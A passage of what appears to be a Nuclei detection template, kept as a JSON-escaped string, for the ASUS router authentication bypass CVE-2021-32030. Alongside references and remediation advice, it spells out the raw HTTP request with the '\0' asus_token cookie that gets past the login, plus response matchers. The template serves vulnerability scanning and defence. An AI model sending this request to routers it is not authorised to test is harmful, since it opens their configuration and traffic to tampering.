This relates to handle_request in router/httpd/httpd.c and auth_check in web_hook.o. An attacker-supplied value of '\\0' matches the device's default value of '\\0' in some situations.\"\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized access to the router's settings, allowing an attacker to modify configurations, intercept network traffic, or launch further attacks.\n  remediation: |\n    Apply the latest firmware update provided by ASUS to fix the authentication bypass vulnerability (CVE-2021-32030).\n  reference:\n    - https://www.atredis.com/blog/2021/4/30/asus-authentication-bypass\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-32030\n    - https://github.com/atredispartners/advisories/blob/master/ATREDIS-2020-0010.md\n    - https://www.asus.com/Networking-IoT-Servers/WiFi-Routers/ASUS-Gaming-Routers/RT-AC2900/HelpDesk_BIOS/\n    - https://github.com/ARPSyndicate/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-32030\n    cwe-id: CWE-287\n    epss-score: 0.99393\n    epss-percentile: 0.9994\n    cpe: cpe:2.3:o:asus:gt-ac2900_firmware:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: asus\n    product: gt-ac2900_firmware\n  tags: cve2021,cve,asus,auth-bypass,router,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1\n        Host: {{Hostname}}\n        User-Agent: asusrouter--\n        Referer: {{BaseURL}}\n        Cookie: asus_token=\\0Invalid; clickedItem_tab=0\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - application/json\n\n      - type: word\n        words:\n          - \"get_cfg_clientlist\"\n          - \"alias\"\n          - \"model_name\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022048b0da979224dd62de1d17ff883a4ad886cd5afaa0a3536a84870a65798ad1b9022100d1c9072b4a879476e8c2e116916e8676d77049981221e3678a39d162f07bc90d:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-32030"}
